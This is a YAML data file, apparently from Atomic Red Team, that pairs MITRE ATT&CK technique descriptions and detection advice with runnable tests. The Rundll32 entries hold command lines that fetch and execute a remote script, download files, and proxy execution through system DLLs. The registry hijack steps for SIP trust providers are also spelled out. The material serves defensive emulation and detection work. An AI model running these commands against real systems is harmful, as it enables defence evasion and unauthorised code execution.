      id: attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-07-06T19:03:40.330Z'
      created: '2020-06-29T15:36:41.535Z'
      x_mitre_detection: "Consider monitoring for files and processes associated with
        running a virtual instance, such as binary files associated with common virtualization
        technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring
        for process command-line arguments that may be atypical for benign use of
        virtualization software. Usage of virtualization binaries or command-line
        arguments associated with running a headless (in the background with no UI)
        virtual instance may be especially suspect. Network adapter information may
        also be helpful in detecting the use of virtual instances.\n\nIf virtualization
        software is installed by the adversary, the Registry may provide detection
        opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003),
        with respect to virtualization software. \n\nBenign usage of virtualization
        technology is common in enterprise environments, data and events should not
        be viewed in isolation, but as part of a chain of behavior."
      x_mitre_contributors:
      - Janantha Marasinghe
      - Menachem Shafran, XM Cyber
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1218.011:
    technique:
      id: attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5
      description: |-
        Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.

        Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

        Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
      name: Rundll32
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.011
        url: https://attack.mitre.org/techniques/T1218/011
      - source_name: Trend Micro CPL
        description: Merces, F. (2014). CPL Malware Malicious Control Panel Items.
          Retrieved November 1, 2017.
        url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
      - source_name: This is Security Command Line Confusion
        description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion.
          Retrieved March 5, 2018.
        url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-01-20T18:12:11.843Z'
      created: '2020-01-23T18:03:46.248Z'
      x_mitre_platforms:
      - Windows
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of rundll32.exe. Compare recent invocations of rundll32.exe with prior history
        of known good arguments and loaded DLLs to determine anomalous and potentially
        adversarial activity. Command arguments used with the rundll32.exe invocation
        may also be useful in determining the origin and purpose of the DLL being
        loaded.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_contributors:
      - Casey Smith
      - Ricardo Dias
      identifier: T1218.011
    atomic_tests:
    - name: Rundll32 execute JavaScript Remote Payload With GetObject
      auto_generated_guid: cf3bdb9a-dd11-4b6c-b0d0-9e22b68a71be
      description: 'Test execution of a remote script using rundll32.exe. Upon execution
        notepad.exe will be opened.

'
      supported_platforms:
      - windows
      input_arguments:
        file_url:
          description: location of the payload
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct
      executor:
        command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();

'
        name: command_prompt
    - name: Rundll32 execute VBscript command
      auto_generated_guid: 638730e7-7aed-43dc-bf8c-8117f805f5bb
      description: |
        Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
        Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command for rundll32.exe to execute
          type: String
          default: calc.exe
      executor:
        command: 'rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)

'
        name: command_prompt
    - name: Rundll32 advpack.dll Execution
      auto_generated_guid: d91cae26-7fc1-457b-a854-34c8aad48c89
      description: |
        Test execution of a command using rundll32.exe with advpack.dll.
        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: String
          default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location (#{inf_to_execute})

'
        prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,

'
        name: command_prompt
    - name: Rundll32 ieadvpack.dll Execution
      auto_generated_guid: 5e46a58e-cbf6-45ef-a289-ed7754603df9
      description: |
        Test execution of a command using rundll32.exe with ieadvpack.dll.
        Upon execution calc.exe will be launched

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: String
          default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location (#{inf_to_execute})

'
        prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,

'
        name: command_prompt
    - name: Rundll32 syssetup.dll Execution
      auto_generated_guid: 41fa324a-3946-401e-bbdd-d7991c628125
      description: |
        Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: String
          default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location (#{inf_to_execute})

'
        prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall
          128 .\#{inf_to_execute}

'
        name: command_prompt
    - name: Rundll32 setupapi.dll Execution
      auto_generated_guid: 71d771cd-d6b3-4f34-bc76-a63d47a10b19
      description: |
        Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: String
          default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location (#{inf_to_execute})

'
        prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128
          .\#{inf_to_execute}

'
        name: command_prompt
    - name: Execution of HTA and VBS Files using Rundll32 and URL.dll
      auto_generated_guid: 22cfde89-befe-4e15-9753-47306b37a6e3
      description: |
        IcedID uses this TTP as follows:
          rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
        Trickbot uses this TTP as follows:
          rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs

        In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"
      supported_platforms:
      - windows
      executor:
        command: |
          rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta
          rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteullen.vbs
        name: command_prompt
    - name: Launches an executable using Rundll32 and pcwutl.dll
      auto_generated_guid: 9f5d081a-ee5a-42f9-a04e-b7bdc487e676
      description: 'Executes the LaunchApplication function in pcwutl.dll to proxy
        execution of an executable.

'
      supported_platforms:
      - windows
      input_arguments:
        exe_to_launch:
          description: Path of the executable to launch
          type: Path
          default: "%windir%\\System32\\notepad.exe"
      executor:
        command: 'rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}

'
        name: command_prompt
    - name: Execution of non-dll using rundll32.exe
      auto_generated_guid: ae3a8605-b26e-457c-b6b3-2702fd335bac
      description: "Rundll32.exe running non-dll \n"
      supported_platforms:
      - windows
      input_arguments:
        input_url:
          description: Url to download the DLL
          type: Url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
        input_file:
          description: Non-dll file
          type: String
          default: C:\Users\$env:username\Downloads\calc.png
      dependency_executor_name: powershell
      dependencies:
      - description: 'Non-dll file must exist on disk at specified location

'
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"

'
      executor:
        name: powershell
        command: 'rundll32.exe #{input_file}, StartW'
  T1134.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.005
        url: https://attack.mitre.org/techniques/T1134/005
      - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
          2017.
        source_name: Microsoft SID
      - url: https://msdn.microsoft.com/library/ms679833.aspx
        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
          Retrieved November 30, 2017.
        source_name: Microsoft SID-History Attribute
      - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
        description: Microsoft. (2017, June 23). Well-known security identifiers in
          Windows operating systems. Retrieved November 30, 2017.
        source_name: Microsoft Well Known SIDs Jun 2017
      - url: https://technet.microsoft.com/library/ee617241.aspx
        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
          November 30, 2017.
        source_name: Microsoft Get-ADUser
      - url: https://adsecurity.org/?p=1772
        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
          #14: SID History. Retrieved November 30, 2017.'
        source_name: AdSecurity SID History Sept 2015
      - url: https://msdn.microsoft.com/library/ms677982.aspx
        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
          30, 2017.
        source_name: Microsoft DsAddSidHistory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SID-History Injection
      description: |-
        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:49:58.414Z'
      created: '2020-02-18T18:34:49.414Z'
      x_mitre_contributors:
      - Alain Homewood, Insomnia Security
      - Vincent Le Toux
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)

        Monitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1553.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1553.003
        url: https://attack.mitre.org/techniques/T1553/003
      - url: https://msdn.microsoft.com/library/ms537359.aspx
        description: Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.
        source_name: Microsoft Authenticode
      - url: https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
        description: Microsoft. (n.d.). WinVerifyTrust function. Retrieved January
          31, 2018.
        source_name: Microsoft WinVerifyTrust
      - url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
          January 31, 2018.
        source_name: SpectorOps Subverting Trust Sept 2017
      - url: https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
        description: Navarro, E. (2008, July 11). SIP’s (Subject Interface Package)
          and Authenticode. Retrieved January 31, 2018.
        source_name: EduardosBlog SIPs July 2008
      - url: https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
        description: Hudek, T. (2017, April 20). Catalog Files and Digital Signatures.
          Retrieved January 31, 2018.
        source_name: Microsoft Catalog Files and Signatures April 2017
      - url: https://github.com/mattifestation/PoCSubjectInterfacePackage
        description: Graeber, M. (2017, September 14). PoCSubjectInterfacePackage.
          Retrieved January 31, 2018.
        source_name: GitHub SIP POC Sept 2017
      - url: http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
        description: Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0
          logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved
          January 31, 2018.
        source_name: Entrust Enable CAPI2 Aug 2017
      - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
        description: Microsoft. (2016, August 31). Registry (Global Object Access
          Auditing). Retrieved January 31, 2018.
        source_name: Microsoft Registry Auditing Aug 2016
      - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
        description: Microsoft. (2012, July 2). Audit Registry. Retrieved January
          31, 2018.
        source_name: Microsoft Audit Registry July 2012
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SIP and Trust Provider Hijacking
      description: |-
        Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

        Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

        Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

        * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
        * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
        * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
        * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)
      id: attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-02-09T15:58:04.719Z'
      created: '2020-02-05T19:34:04.910Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_defense_bypassed:
      - Application control
      - Autoruns Analysis
      - Digital Certificate Validation
      - User Mode Signature Validation
      x_mitre_detection: |-
        Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)

        Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)

        Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)

        * HKLM\SOFTWARE\Microsoft\Cryptography\OID
        * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID
        * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust
        * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust

        **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)

        Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      x_mitre_contributors:
      - Matt Graeber, @mattifestation, SpecterOps
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1064:
    technique:
      revoked: false
      id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scripting
      description: |-
        **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**

        Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

        Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

        Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
      external_references:
      - source_name: mitre-attack
        external_id: T1064
        url: https://attack.mitre.org/techniques/T1064
      - source_name: Metasploit_Ref
        description: Metasploit. (n.d.). Retrieved December 4, 2014.
        url: http://www.metasploit.com
      - url: https://www.veil-framework.com/framework/
        description: Veil Framework. (n.d.). Retrieved December 4, 2014.
        source_name: Veil_Ref
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
        description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
          of National Security Think Tanks. Retrieved November 12, 2014.'
        source_name: Alperovitch 2014
      - url: https://www.uperesia.com/analyzing-malicious-office-documents
        description: Felix. (2016, September). Analyzing Malicious Office Documents.
          Retrieved April 11, 2018.
        source_name: Uperesia Malicious Office Documents
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-30T13:39:24.852Z'
      created: '2017-05-31T21:30:51.733Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

        Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
      x_mitre_defense_bypassed:
      - Process whitelisting
      - Data Execution Prevention
      - Exploit Prevention
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: true
    atomic_tests: []
  T1574.010:
    technique:
      created: '2020-03-12T20:43:53.998Z'
      modified: '2020-09-16T19:10:04.262Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      name: Services File Permissions Weakness
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.010
        url: https://attack.mitre.org/techniques/T1574/010
      - external_id: CAPEC-17
        source_name: capec
        url: https://capec.mitre.org/data/definitions/17.html
      x_mitre_platforms:
      - Windows
      x_mitre_detection: "Look for changes to binaries and service executables that
        may normally occur during software updates. If an executable is written, renamed,
        and/or moved to match an existing service executable, it could be detected
        and correlated with other suspicious behavior. Hashing of binaries and service
        executables could be used to detect replacement against historical data.\n\nLook
        for abnormal process call trees from typical processes and services and for
        execution of other commands that could relate to Discovery or other adversary
        techniques. "
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
    atomic_tests: []
  T1574.011:
    technique:
      created: '2020-03-13T11:42:14.444Z'
      modified: '2020-09-16T19:07:48.590Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
      description: "Adversaries may execute their own malicious payloads by hijacking
        the Registry entries used by services. Adversaries may use flaws in the permissions
        for registry to redirect from the originally specified executable to one that
        they control, in order to launch their own code at Service start.  Windows
        stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        The information stored under a service's Registry keys can be manipulated
        to modify a service's execution parameters through tools such as the service
        controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),
